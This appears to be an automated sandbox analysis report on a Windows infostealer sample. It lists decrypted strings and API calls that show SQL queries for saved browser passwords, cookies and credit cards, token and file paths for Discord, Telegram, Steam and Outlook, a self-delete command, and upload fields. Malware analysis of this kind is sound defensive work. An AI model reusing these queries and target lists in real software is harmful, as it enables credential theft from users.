Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: GetKeyboardLayoutList
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: CharToOemW
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: wsprintfW
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: RegQueryValueExA
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: RegEnumKeyExA
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: RegOpenKeyExA
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: RegCloseKey
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: RegEnumValueA
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: CryptBinaryToStringA
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: CryptUnprotectData
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: SHGetFolderPathA
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: ShellExecuteExA
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: InternetOpenUrlA
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: InternetConnectA
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: InternetCloseHandle
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: InternetOpenA
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: HttpSendRequestA
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: HttpOpenRequestA
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: InternetReadFile
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: InternetCrackUrlA
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: StrCmpCA
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: StrStrA
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: StrCmpCW
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: PathMatchSpecA
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: GetModuleFileNameExA
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: RmStartSession
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: RmRegisterResources
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: RmGetList
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: RmEndSession
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: sqlite3_open
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: sqlite3_prepare_v2
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: sqlite3_step
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: sqlite3_column_text
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: sqlite3_finalize
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: sqlite3_close
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: sqlite3_column_bytes
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: sqlite3_column_blob
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: encrypted_key
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: PATH
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: NSS_Init
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: NSS_Shutdown
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: PK11_FreeSlot
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: PK11_Authenticate
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: PK11SDR_Decrypt
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: C:\ProgramData\
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: browser:
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: profile:
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: url:
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: login:
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: password:
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: Opera
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: OperaGX
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: Network
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: cookies
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: .txt
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: TRUE
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: FALSE
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: autofill
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: SELECT name, value FROM autofill
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: history
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: SELECT url FROM urls LIMIT 1000
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: cc
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: name:
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: month:
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: year:
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: card:
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: Cookies
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: Login Data
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: Web Data
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: History
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: logins.json
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: formSubmitURL
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: usernameField
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: encryptedUsername
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: encryptedPassword
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: guid
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: cookies.sqlite
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: formhistory.sqlite
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: places.sqlite
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: plugins
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: Local Extension Settings
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: Sync Extension Settings
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: IndexedDB
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: Opera Stable
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: Opera GX Stable
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: CURRENT
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: chrome-extension_
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: _0.indexeddb.leveldb
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: Local State
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: profiles.ini
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: chrome
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: opera
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: firefox
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: wallets
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: %08lX%04lX%lu
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: ProductName
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: x32
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: x64
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: %d/%d/%d %d:%d:%d
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: ProcessorNameString
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: DisplayName
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: DisplayVersion
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: Network Info:
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: - IP: IP?
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: - Country: ISO?
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: System Summary:
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: - HWID:
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: - OS:
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: - Architecture:
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: - UserName:
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: - Computer Name:
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: - Local Time:
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: - UTC:
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: - Language:
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: - Keyboards:
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: - Laptop:
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: - Running Path:
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: - CPU:
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: - Threads:
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: - Cores:
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: - RAM:
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: - Display Resolution:
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: - GPU:
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: User Agents:
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: Installed Apps:
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: All Users:
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: Current User:
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: Process List:
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: system_info.txt
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: freebl3.dll
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: mozglue.dll
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: msvcp140.dll
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: nss3.dll
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: softokn3.dll
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: vcruntime140.dll
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: \Temp\
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: .exe
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: runas
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: open
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: /c start
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: %DESKTOP%
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: %APPDATA%
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: %LOCALAPPDATA%
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: %USERPROFILE%
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: %DOCUMENTS%
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: %PROGRAMFILES%
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: %PROGRAMFILES_86%
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: %RECENT%
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: *.lnk
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: files
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: \discord\
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: \Local Storage\leveldb\CURRENT
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: \Local Storage\leveldb
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: \Telegram Desktop\
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: key_datas
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: D877F783D5D3EF8C*
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: map*
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: A7FDF864FBC10B77*
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: A92DAA6EA6F891F2*
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: F8806DD0C461824F*
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: Telegram
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: Tox
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: *.tox
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: *.ini
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: Password
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: 00000001
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: 00000002
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: 00000003
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: 00000004
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: \Outlook\accounts.txt
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: Pidgin
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: \.purple\
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: accounts.xml
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: dQw4w9WgXcQ
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: token:
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: Software\Valve\Steam
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: SteamPath
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: \config\
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: ssfn*
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: config.vdf
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: DialogConfig.vdf
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: DialogConfigOverlay*.vdf
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: libraryfolders.vdf
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: loginusers.vdf
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: \Steam\
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: sqlite3.dll
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: browsers
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: done
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: soft
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: \Discord\tokens.txt
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: /c timeout /t 5 & del /f /q "
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: C:\Windows\system32\cmd.exe
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: https
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: POST
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: HTTP/1.1
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: hwid
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: build
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: token
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: file_name
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: file
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: message
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: screenshot.jpg

Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_0040A2B0 CryptUnprotectData,LocalAlloc,memcpy,LocalFree,	0_2_0040A2B0
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_00419030 CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA,	0_2_00419030
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_0040C920 memset,lstrlenA,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,memcpy,lstrcatA,lstrcatA,PK11_FreeSlot,lstrcatA,	0_2_0040C920
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_0040A210 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_0040A210
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_004072A0 GetProcessHeap,HeapAlloc,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_004072A0
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CA86C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	0_2_6CA86C80
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CBDA9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	0_2_6CBDA9A0
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CBD44C0 PK11_PubEncrypt,	0_2_6CBD44C0

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\vMRlWtVCEN.exe

Unpacked PE file: 0.2.vMRlWtVCEN.exe.400000.1.unpack

Source: vMRlWtVCEN.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 173.222.162.64:443 -> 192.168.2.6:49786 version: TLS 1.0

Source: C:\Users\user\Desktop\vMRlWtVCEN.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.6:49776 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49801 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49815 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49824 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49914 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:50039 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:50041 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:50042 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:50043 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:50044 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.160.14:443 -> 192.168.2.6:50045 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.6:50062 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:50090 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:50113 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:50120 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:50126 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: vMRlWtVCEN.exe, 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: vMRlWtVCEN.exe, 00000000.00000002.2771669388.000000006CCAF000.00000002.00000001.01000000.00000012.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: my_library.pdbU source: vMRlWtVCEN.exe, 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, vMRlWtVCEN.exe, 00000000.00000003.2234993368.0000000004910000.00000004.00001000.00020000.00000000.sdmp, vMRlWtVCEN.exe, 00000000.00000002.2745804809.0000000004830000.00000040.00001000.00020000.00000000.sdmp, vMRlWtVCEN.exe, 00000000.00000002.2771899223.000000006CD71000.00000002.00000001.01000000.00000007.sdmp, chrome.dll.0.dr
Source:	Binary string: my_library.pdb source: vMRlWtVCEN.exe, vMRlWtVCEN.exe, 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, vMRlWtVCEN.exe, 00000000.00000003.2234993368.0000000004910000.00000004.00001000.00020000.00000000.sdmp, vMRlWtVCEN.exe, 00000000.00000002.2745804809.0000000004830000.00000040.00001000.00020000.00000000.sdmp, vMRlWtVCEN.exe, 00000000.00000002.2771899223.000000006CD71000.00000002.00000001.01000000.00000007.sdmp, chrome.dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
